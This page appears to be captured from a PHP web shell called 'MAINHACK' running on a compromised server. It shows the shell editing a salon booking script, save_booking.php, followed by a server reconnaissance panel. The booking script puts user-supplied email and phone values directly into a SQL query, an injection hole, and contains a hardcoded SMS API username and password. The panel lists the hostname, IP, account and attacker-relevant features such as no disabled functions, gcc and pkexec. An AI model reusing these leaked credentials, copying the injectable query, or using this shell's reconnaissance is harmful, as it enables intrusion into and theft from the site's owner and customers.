[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: save_booking.php
<?php include("db.php"); header('Content-Type: application/json'); ini_set('display_errors', 0); ini_set('log_errors', 1); ob_start(); try { // Database connection assumed to be in db.php } catch (Exception $e) { echo json_encode(['success' => false, 'message' => 'Database connection failed']); ob_end_flush(); exit; } $data = json_decode(file_get_contents('php://input'), true); if (!$data) { echo json_encode(['success' => false, 'message' => 'Invalid input']); ob_end_flush(); exit; } // Validate required fields if (empty($data['customer_first']) || empty($data['customer_last']) || empty($data['customer_email']) || empty($data['customer_phone'])) { echo json_encode(['success' => false, 'message' => 'Customer details are required']); ob_end_flush(); exit; } if (empty($data['shopname'])) { echo json_encode(['success' => false, 'message' => 'Shopname is required']); ob_end_flush(); exit; } if (empty($data['services']) || !is_array($data['services'])) { echo json_encode(['success' => false, 'message' => 'At least one service is required']); ob_end_flush(); exit; } if (empty($data['booking_date']) || empty($data['booking_time']) || empty($data['total_amount'])) { echo json_encode(['success' => false, 'message' => 'Booking details are required']); ob_end_flush(); exit; } try { $con->beginTransaction(); $date = date("Y-m-d"); $gender = "Female"; $bookingtimedate = $data['booking_date'] .' '.$data['booking_time']; $shop = $data['shopname']; $myemail = $data['customer_email']; $mynumber = $data['customer_phone']; $getclientid = mysqli_query($new,"SELECT * FROM clients WHERE client_email = '$myemail' OR phone_number = '$mynumber'"); if(mysqli_num_rows($getclientid) > 0){ $getrow = mysqli_fetch_array($getclientid); $customer_id = $getrow['client_id']; } else { // Step 1: Insert customer into clients table $stmt = $con->prepare("INSERT INTO clients (first_name, last_name, phone_number, client_email, date, gender, business_name) VALUES (:first_name, :last_name, :phone_number, :client_email, :date, :gender, :business_name)"); $stmt->execute([ ':first_name' => $data['customer_first'], ':last_name' => $data['customer_last'], ':phone_number' => $data['customer_phone'], ':client_email' => $data['customer_email'], ':date' => $date, ':gender' => $gender, ':business_name' => $data['shopname'] ]); $customer_id = $con->lastInsertId(); } // Step 2: Insert booking into appointments table $status = 'online'; $active = 'No'; $created = date("Y-m-d"); $payment_mode = 'None'; $date_created = date("Y-m-d H:i"); $discount = "0.0"; $comRate = 0.0; $stmt = $con->prepare("INSERT INTO appointments (date_created, created, client_id, employee_id, start_time, end_time_expected, active, status, payment_mode, business_name, discount,comRate) VALUES (:date_created, :created, :client_id, :employee_id, :start_time, :end_time_expected, :active, :status, :payment_mode, :business_name, :discount,:comRate)"); $stmt->execute([ ':date_created' => $date_created, ':created' => $created, ':client_id' => $customer_id, ':employee_id' => $data['employee_id'] === 'no-preference' ? null : $data['employee_id'], ':start_time' => $data['booking_date'], ':end_time_expected' => $data['booking_time'], ':active' => $active, ':status' => $status, ':payment_mode' => $payment_mode, ':business_name' => $data['shopname'], ':discount' => $discount, ':comRate' => $comRate, ]); $booking_id = $con->lastInsertId(); // Step 3: Insert booking services $stmt = $con->prepare("INSERT INTO true_price (appointment_id, service_id, price) VALUES (:appointment_id, :service_id, :price)"); foreach ($data['services'] as $service) { $stmt->execute([ ':appointment_id' => $booking_id, ':service_id' => $service['service_id'], ':price' => $service['price'] ]); } $senderID = "VITEGH"; $smsdata = json_encode([ 'username' => "vitelogistics", 'password' => "vitelogis@2025", 'source' => $senderID, 'destination' => $data['customer_phone'], 'message' => "Dear Customer,your appointment schedule is confirm on $bookingtimedate with $shop", 'ol' => false, ]); $curl = curl_init(); curl_setopt_array($curl, [ CURLOPT_URL => 'https://deywuro.com/api/sms', CURLOPT_RETURNTRANSFER => true, CURLOPT_ENCODING => '', CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_FOLLOWLOCATION => true, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_POSTFIELDS => $smsdata, CURLOPT_HTTPHEADER => [ 'Accept: application/json', 'Content-Type: application/json', ], ]); $sms_response = curl_exec($curl); $sms_err = curl_error($curl); curl_close($curl); $con->commit(); echo json_encode(['success' => true, 'booking_id' => $booking_id]); } catch (PDOException $e) { $con->rollBack(); error_log("Booking failed: " . $e->getMessage()); echo json_encode(['success' => false, 'message' => 'Booking failed: ' . $e->getMessage()]); } finally { ob_end_flush(); exit; } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.8 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002